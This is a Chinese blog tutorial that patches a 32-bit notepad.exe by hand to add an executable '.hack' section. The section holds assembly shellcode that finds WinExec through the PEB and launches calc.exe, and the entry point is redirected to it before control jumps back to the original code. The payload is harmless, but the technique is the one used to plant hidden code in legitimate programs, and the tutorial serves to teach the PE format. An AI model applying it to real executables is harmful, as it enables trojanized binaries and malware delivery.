修改记事本PE结构弹计算器Shellcode
目录
- 修改记事本PE结构弹计算器Shellcode
- 0x00 前言
- 0x01 添加新节
- 修改节数量
- 节表位置
- 添加新节表信息
- 0x02 添加弹计算器Shellcode
- 修改代码
- 0x03 修改入口点
- 计算跳转OEP偏移
- 0x04 bug修复
- 0x05 验证结果
修改记事本PE结构弹计算器Shellcode 0x00 前言 在上一篇文章中介绍了PE节表的分析,这篇文章主要是对其进行手动实验来加深对节表的理解,并且这里用一个记事本的例子做演示,我们用Winhex软件通过修改、添加十六进制数据让记事本一启动就能弹出计算器。
整体的思路是:给记事本添加一个节,节内添加弹计算器Shellcode十六进制+jmp到原OEP(程序入口点),修改OEP指向->新区段位置。运行记事本让其弹计算器。
0x01 添加新节 首先需要找一个
32位
的记事本,我这里用的是xp系统下的notepad.exe
。修改节数量
第一步我们先修改节数量,之前都有介绍节数量在标准PE头中的NT标识后4个字节,这里原本是
3
我们将其改成4。文章图片
节表位置
节表位置在
可选PE头
下面,所以我们先找到可选PE头,并且找到可选PE头的大小就能找到节表位置了。可选PE头大小在NT标识
开始0x14字节位置。文章图片
添加新节表信息
新节信息的位置应该在节表数量*3的位置即:节表开始处+(3 x 0x28=0x78处),一个节信息固定大小
0x28
。然后我们将荧光笔中的数据覆盖成我们新节的信息。
文章图片
新节名就叫
.hack
把,hack节哈哈挺酷。然后节在内存中大小就设成0x1000
,新节在内存中的位置为0x13000
。这个
0x13000
即新节位置是根据:之前最后一个节(内存中节位置+对其后节大小)计算出来的,可以根据我们上篇文章写的工具来进行分析。0xb000+0x8000
等于0x13000
,所以这是新节位置。这里一定不要算错了要不然程序会崩溃。文章图片
接着是文件中节的大小即对其后节的大小0x1000刚好对其,所以也设置成
0x1000
。接着是新节在文件中的位置,这里同样我们得到之前最后一个节在文件中的偏移,然后再加上文件中节大小就是其新节位置了。(新节在文件中的位置)
0x8400+0x8000=0x10400
,然后其余还有4各成员数据默认都设置成0x00
,最后一个比较关键之前也讲过他是节的属性,决定了改节是否可读、写、执行。在这里我们直接将他设置成代码段的属性
(包含可执行代码),(可读),(可执行)
:0x60000020
。这里不懂的可以复习下PE节表的详细分析。新节信息 | 值 |
---|---|
Name | .hack |
VirtualSize(内存中大小) | 0x1000 |
VirtualAddress(内存中偏移) | 0x13000 |
SizeOfRawData(文件中大小) | 0x1000 |
PointerToRawData(文件中偏移) | 0x10400 |
PointerToRelocations | 0x00000000 |
PointerToLinenumbers | 0x00000000 |
NumberOfRelocations | 0x0000 |
NumberOfLinenumbers | 0x0000 |
Characteristics(标志节属性) | 0x60000020 |
0x104000
位置添加0x1000
数据,也就是文件末尾处我们添加0x1000个0的数据。先用Winhex新建一个0x1000的文件
文章图片
然后复制数据到notepad.exe文件末尾处。
文章图片
文章图片
至此新节添加完毕,我们可以来添加shellcode了。
0x02 添加弹计算器Shellcode 好了到这里我们可以来添加我们的Shellcode了,首先我们需要用汇编写一个弹计算器的代码,然后将其转换成十六进制。
.386
.model flat,stdcall;
代码区域
.codemain:
push ebp
mov ebp,esp
sub esp,20h;
开辟栈空间
;
获取Kernel32基址
assume fs:nothing
mov eax,[fs:30h];
peb结构所在地址
mov eax,[eax+0Ch];
Ldr
mov eax,[eax+1Ch];
指向ntdll
mov eax,[eax];
指向kernelbase
mov eax,[eax];
指向kernel32
mov eax,[eax+08h];
BaseAddress
;
遍历kernel32导出函数
;
初始化栈空间用来保存变量
mov DWORD PTR[ebp-04h],0;
用来存放导出函数“地址表”
mov DWORD PTR[ebp-08h],0;
用来存放导出函数“名称表”
mov DWORD PTR[ebp-0Ch],0;
用来存放导出函数“序号表”
;
解析PE结构获取导出表结构实际地址
mov ebx,DWORD PTR[eax + 3Ch];
NT头偏移地址
lea ebx,DWORD PTR[ebx + eax];
NT头VA
mov ebx,DWORD PTR[ebx + 78h];
导出表结构VirtualAddress
lea edx,DWORD PTR[ebx + eax];
导出表结构实际地址
;
获取导出函数地址表VA
mov ebx,DWORD PTR[edx + 1Ch];
AddressOfFunctions 偏移
lea ebx,DWORD PTR[ebx + eax];
AddressOfFunctions 实际地址
mov DWORD PTR[ebp - 04h],ebx;
保存到局部变量
;
获取导出函数名称表VA
mov ebx,DWORD PTR[edx + 20h];
AddressOfNames 偏移
lea ebx,DWORD PTR[ebx + eax];
AddressOfNames 实际地址
mov DWORD PTR[ebp - 08h],ebx;
保存到局部变量
;
获取导出函数序号表VA
mov ebx,DWORD PTR[edx + 24h];
AddressOfNameOrdinals 偏移
lea ebx,DWORD PTR[ebx + eax];
AddressOfNameOrdinals 实际地址
mov DWORD PTR[ebp - 0Ch],ebx;
保存到局部变量
;
开始遍历三张表,找到目标函数地址
mov edi,DWORD PTR[edx + 18h];
NumberOfNames循环次数
xor ecx,ecx;
清空ecx,作为循环计数
mov esi,DWORD PTR[ebp - 08h];
暂存导出函数名称表 实际地址
_ExportName:
mov ebx,DWORD PTR[esi + ecx * 4];
函数名称 偏移地址
lea ebx,DWORD PTR[ebx + eax];
获取第n个导出函数的名称 实际地址 ;
判断函数名称
mov ebx,[ebx]
cmp ebx,456E6957h;
判断是否WinE
je _FindFunc ;
自增1,开始下一次遍历
inc ecx;
jmp _ExportName
_FindFunc:
;
找到目标函数,获取该函数地址VA
mov ebx,DWORD PTR[ebp - 0Ch];
序号表 实际地址
xor edx,edx;
注意序号表是2字节数组
mov dx,WORD PTR[ebx + ecx * 2];
获取对应序号表中保存的值
mov ebx,DWORD PTR[ebp - 04h];
地址表 实际地址
mov ebx,DWORD PTR[ebx + edx * 4];
地址表中,目标函数地址 偏移地址
lea eax,DWORD PTR[ebx + eax];
目标函数实际地址;
;
调用函数
jmp _gotFunc
g_str db "calc.exe"
g_stop db 0
_gotFunc: call $+5
pop ebx;
获取eip
sub ebx,0Eh
push 5h
push ebx
call eax
;
恢复函数栈帧
mov esp,ebp
pop ebp
ret
end mainend
用MASM套件中的ml将其编译成可执行文件,这里我推荐用RadASM这工具来写Windows汇编代码,他是一个专门用来写汇编的IDE非常好用 YYDS!
文章图片
文章图片
然后我们用Winhex打开这个编译好的exe提取他代码段中的数据作为Shellcode。
文章图片
修改代码
然后我们需要将代码在改一改,比如在shellcode的最后一个地方C3这里对应的汇编代码是
ret
这样会让程序返回到调用的地方,这里我需要将其改成nop
即:0x90。0040101D| C3ret
;
C3改为如下90
0040101D| 90nop
然后我们还要跳回到原来的入口点,这样程序才能正常执行他原本的功能。
跳转的代码是
jmp
,然后我们需要计算出当前位置距离OEP的位置,目前还不知道距离所以先写jmp 0x0000000
来代替即E9 00 00 00 00
我们先把Shellcode覆盖到新节的位置,利用WinHex的写入hex数据来覆盖之前的0数据。
文章图片
文章图片
覆盖后的shellcode。
文章图片
0x03 修改入口点 在最后我们需要修改入口点来使的notepad.exe一开始就先执行我们的shellcode代码,不知道怎么改入口点的读者可以看看我之前写的文章PE头详细分析。
原来的入口点地址为:
0x0000739D
。文章图片
修改为shellcode处的入口点:
0x00010400
文章图片
计算跳转OEP偏移
好了在最后我们需要把
E9 00000000
中的数据给填上,才能真正的完成。计算公式为:(原OEP)-((当前地址)+5)
先把光标停在
E9
处,然后Winhex中显示地址为0x1049F
,那么我们可以把公式中的当前地址改成0x1049F,即(0x0000739D)-((0x1049F)+5)
文章图片
最后利用Python来计算下偏移,算出来是负数的因为他要往上跳,正常是应该为负数。
文章图片
然后用最终用计算器将其转换成十六进制,并且我们取他的4字节就行。
文章图片
最后我们把地址给填上,收工完成。
文章图片
0x04 bug修复 哈哈哈哈果然没有那么幸运,我一运行时候发现程序报错了。
文章图片
然后仔细研究后发现,
SizeofImage
这个值我没有改,得把他改成添加节后的大小0x14000
。还有就是入口点偏移没算对,因为我发现新的段在内存中不在
0x14000
,而是在0x13000,应该是我们没有把之前那个段填对其,导致我们新加的段被他对其,所以地址就变成了0x13000。文章图片
这里我计算出新的偏移:0xFFFF42F9
文章图片
文章图片
修复后winhex中的地址。
文章图片
最后把入口点也修复成:
0x13000
。文章图片
0x05 验证结果
文章图片
文章图片
欢迎各位加群:
【修改记事本PE结构弹计算器Shellcode】
文章图片
推荐阅读
- 2018-06-13金句系列7(金句结构-改编古现代诗词)
- Java内存泄漏分析系列之二(jstack生成的Thread|Java内存泄漏分析系列之二:jstack生成的Thread Dump日志结构解析)
- ffmpeg源码分析01(结构体)
- 《数据结构与算法之美》——队列
- 什么是张拉膜结构雨棚(有哪些特点?)
- mysql|InnoDB数据页结构
- vuex|vuex 基础结构
- 硬化混凝土气孔结构分析仪(型号(HC-457))
- 构建App(一)(框架与结构)
- java|java b2b2c shop 多用户商城系统源码- config 修改配置